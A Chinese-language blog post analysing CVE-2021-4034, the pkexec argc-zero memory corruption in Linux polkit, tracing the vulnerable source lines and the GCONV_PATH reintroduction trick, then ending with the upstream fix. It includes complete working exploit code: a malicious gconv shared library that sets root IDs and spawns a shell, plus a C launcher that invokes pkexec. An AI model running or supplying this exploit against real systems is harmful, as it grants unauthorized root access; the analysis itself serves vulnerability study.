CVE-2021-4034 Linux Polkit 权限提升漏洞分析

本文主要参考官方的Advisory来进行分析

本文同时提供以下语言的翻译: English.

漏洞简介

2022-01-25,CVE-2021-4034 Exploit 详情发布,此漏洞是由Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞

pkexec 应用程序是一个 setuid 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令,基本上所有的主流Linux系统都安装了此工具,其自身也被设置了SUID权限位以正常运转

影响了自2009年5月第一个版本以来的所有pkexec版本,Commit 地址:Add a pkexec(1) command (c8c3d835) · Commits · polkit / polkit · GitLab

由于pkexec的广泛应用,此漏洞基本通杀目前所有Linux发行版,有效范围很大

漏洞原理分析

选择一个修复前的版本进行分析,src/programs/pkexec.c · 0.120 · polkit / polkit · GitLab

根据披露,漏洞存在于pkexec的主函数,相对路径为/src/programs/pkexec.c

在534-568行,处理命令行参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
for (n = 1; n < (guint) argc; n++) // 注意这一句,如果我们传递了参数后,n应该在结束循环时与argc相等,如果没有参数,argc就为0,但是由于此处n的初始值为1,因此如果没有参数被传递,1就变成了argc(0)+1,如果后续继续使用n的话,就有可能出现问题
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}

if (opt_user != NULL)
{
g_printerr ("--user specified twice\n");
goto out;
}
opt_user = g_strdup (argv[n]);
}
else if (strcmp (argv[n], "--disable-internal-agent") == 0)
{
opt_disable_internal_agent = TRUE;
}
else
{
break;
}
}

然后在610行,获取PROGRAM参数名称,也就是需要执行的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
path = g_strdup (argv[n]); // 分析代码,我们可以发现n在此时被使用,g_strdup复制目标字符串,但是如果我们不传递任何参数,g_strdup用于拷贝字符串,如果没有参数传递,这里就产生内存越界读取了
if (path == NULL)
{
GPtrArray *shell_argv;

path = g_strdup (pwstruct.pw_shell);
if (!path)
{
g_printerr ("No shell configured or error retrieving pw_shell\n");
goto out;
}
/* If you change this, be sure to change the if (!command_line)
case below too */
command_line = g_strdup (path);
shell_argv = g_ptr_array_new ();
g_ptr_array_add (shell_argv, path);
g_ptr_array_add (shell_argv, NULL);
exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);
}
if (path[0] != '/') // 如果路径不是绝对路径
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s; // 触发越界内存写入
}

整理一下,得出,在不传递任何参数时,情况如下

  1. 在第 534 行,整数 n 的设置为 1
  2. 在第 610 行,从 argv[1] 越界读取指针路径
  3. 在第 639 行,指针 s 被越界写入 argv[1]

现在很重要的一点就是,我们想要知道,当越界的argv[1]包含了什么内容

当我们使用execve()执行一个程序时,内核会将我们的参数、环境字符串以及指针(argv 和 envp)复制到新程序栈的末尾;如下所示:

1
2
3
4
5
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL

也就是说,被越界访问的实际上是envp[0],其指向第一个环境变量的值,再次总结,我们得到如下

  • 在第610行,要执行的程序路径由envp[0]给出
  • 在632行,path的值被传递给g_find_program_in_path()
  • g_find_program_in_path()在PATH环境变量中搜索程序
  • 如果找到可执行文件,完整的路径返回给pkexecmain()函数
  • 在639行,完整路径被越界写入到argv[1]也就是envp[0],这样就覆盖了我们的第一个环境变量

更准确地来说的话

  • 如果环境变量被设置为PATH=name,如果目录name存在(如当前的工作目录)并且可执行文件被命名为value,那么name/value字符串的指针就会被越界写入到envp[0]
  • 或者说,如果PATH是PATH=name=.,并且如果PATH=name=.存在且包含名为value的可执行文件,那么name=./value字符串的指针就会被越界写入到envp[0]

由于字符串name=./value是我们最后会执行的命令,如果执行了name=./value,这个越界写入允许我们重新引入一个不安全的环境变量,这些被传递到SUID文件的不安全环境变量通常会在main()函数运行之前被删除(由ld.so完成)。接下来我们将基于这一点来进行exploit

要注意:polkit还支持非Linux系统如Solaris 和 BSD, 目前还没有深入分析过,但是OpenBSD是不可利用的,因为它的内核在argc为0时拒绝通过execve执行程序

我们的问题是如何通过重新引入不安全的环境变量来利用这个漏洞,在702行,pkexec完全清除了环境变量,因此可以利用的选项比较少

1
2
3
4
5
if (clearenv () != 0)
{
g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
goto out;
}

可以发现代码中多处调用了GLib的函数g_printerr(),如位于代码126行和408-409行的validate_environment_variable()函数log_message()调用了g_printerr()

g_printerr()通常打印UTF-8错误消息,但如果环境变量CHARSET被设置后,其也可以使用其它字符集打印消息。为了将消息从CTF-8转换为其它字符集,g_printerr()调用了iconv_open()

为了进行字符集转换,iconv_open()执行一个共享库。通常来说来源字符集、目标字符集和共享库都通过默认配置文件/usr/lib/gconv/gconv-modules指定。但是环境变量GCONV_PATH可以强制iconv_open()使用另外一个配置文件,通常来说GCONV_PATH是一个不安全变量,会被移除,但是由于前面的漏洞,我们可以将其重新引入

要注意:这个利用技术会在日志中留下痕迹,如SHELL变量在/etc/shells中不存在,或者环境变量中存在可疑数据。然而,请注意,这个漏洞也可以以不留下痕迹的方式利用

构造 Exploit

目前的主流Linux系统都受到此漏洞的影响,安装一个Ubuntu 20.04,运行pkexec --version可以发现版本是0.105

首先生成一个恶意的so文件,用来获取提权后的shell

1
2
3
4
5
6
7
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0); seteuid(0); setgid(0); setegid(0);
system("PATH=/bin:/usr/bin:/sbin /bin/sh");
}
1
gcc -shared -fPIC payload.c -o payload.so

构造exploit

  • LC_MESSAGES 用来指定要转换的字符集
  • XAUTHORITY 设置为非法值以跳过pkexec的正常执行,我们只需要触发日志函数来实现提权
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
char* _argv[]={ NULL };
char* _envp[]={
"x",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=..",
NULL
};
mkdir("GCONV_PATH=.", 0777);
mkdir("x", 0777);
FILE *fp = fopen("x/gconv-modules", "wb");
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
fp = fopen("GCONV_PATH=./x", "wb");
fclose(fp);
chmod("GCONV_PATH=./x",0777);
execve("/usr/bin/pkexec", _argv, _envp);
}
1
gcc exploit.c -o exp.out

然后运行./exp.out直接成为root用户

漏洞修复

参见:pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab

image-20220129003432841

argc小于1直接退出程序

作者

4xpl0r3r

发布于

2022-02-11

更新于

2022-09-14

许可协议

评论